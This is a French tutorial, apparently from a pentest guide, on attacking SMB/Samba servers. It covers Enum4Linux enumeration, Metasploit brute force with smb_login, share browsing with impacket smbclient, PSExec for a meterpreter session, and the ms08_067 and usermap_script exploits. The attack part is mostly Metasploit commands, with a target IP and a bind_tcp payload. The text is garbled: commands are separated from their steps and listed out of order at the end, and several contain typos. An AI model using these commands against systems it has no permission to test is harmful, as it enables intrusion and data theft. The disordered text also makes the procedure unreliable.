Vous pouvez faire de l'énumération sur une machine en utilisant l'outils Enum4Linux:
3. Exploitation d’un serveur Samba mal configuré avec Metasploit :
4. Brute Force smb avec Metasploit :
msfconsole
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.55.248s
et pass_file <wordlist>s
et smbuser <username>
set stop_on_success true
5. Exploitation du service samba
5.1 SMBClient
Quand vous avez réussi à obtenir des identifiants et mots de passes vous pouvez tenter d'exploiter le service.
Tout d'abord allons fouiller dans les différents répertoires partagés (utilisation impacket) :
5.2 PSexec
La manière la plus populaire est d'utiliser la PSExec. A l’aide de PsExec, on peut établir une connexion distante et tenter des collecter plus d’infos sensibles voire envisager une escalation de privilège.
Comme dans la plupart des cas, metasploit a déjà un module qui va vous simplifier la tache :
Vous devriez avoir ensuite une session meterpreter.
Une autre façon peut être d'utiliser un exploit, voici ci dessous l'exploitation d'un serveur samba avec la ms08_067 (un buffer overflow).
Essayons d'abord de voir si la version de smb est vulnérable.
On découvre ici la présence d'une CVE: CVE-2008-4250 qui permettrait l'exécution de code arbitraire à distance via la modification d'une requête RPC qui entraine un buffer-overflow.
Nous avons encore une fois un module metasploit qui est disponible(je vous encourage malgré tout à utiliser le moins possible metasploit et à utiliser d'autre outils, lire les exploits et les comprendre).
Ici on fait attention à "Set" la bonne "Target" en utilisant la commande
Cela va vous permettre de vérifier la configuration de la langue et du pack utilisé sur la machine victime.
On lance l'exploit et on arrive à avoir une session meterpreter toute bien.
msfconsole
msf > search scanner/samba
msf > use auxiliary/scanner/smb/smb_version
Astuce : Vous pouvez effectuer beaucoup d’autres scans sur le serveur samba, il suffit d’utiliser cette commande : use auxiliary/scanner/smb/(nom du scan)
msf > msfauxiliary(smb_version) > set RHOSTS <ip victime>
msf> use exploit/multi/samba/usermap_script
SET HOSTS AND PORT“
run” ou “exploit”
python3 smbclient.py <IP>
Astuce : tapez help pour voir la liste de commande
use <nom_du_dossier_partagé>
ls
get <your file>
NB : Le fichier que vous venez de télécharger se trouvera dans le me répertoire que celui où vous étiez quand vous avez lancer smbclient.
set RHOST <IP>
set payload windows/meterpreter/bind_tcp
set target 72
